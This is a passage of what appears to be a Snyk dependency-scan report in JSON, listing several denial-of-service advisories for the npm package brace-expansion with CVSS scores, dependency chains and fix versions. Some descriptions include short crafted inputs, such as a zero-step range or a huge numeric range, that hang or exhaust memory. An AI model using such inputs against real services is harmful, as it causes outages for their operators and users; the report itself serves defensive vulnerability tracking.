Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } 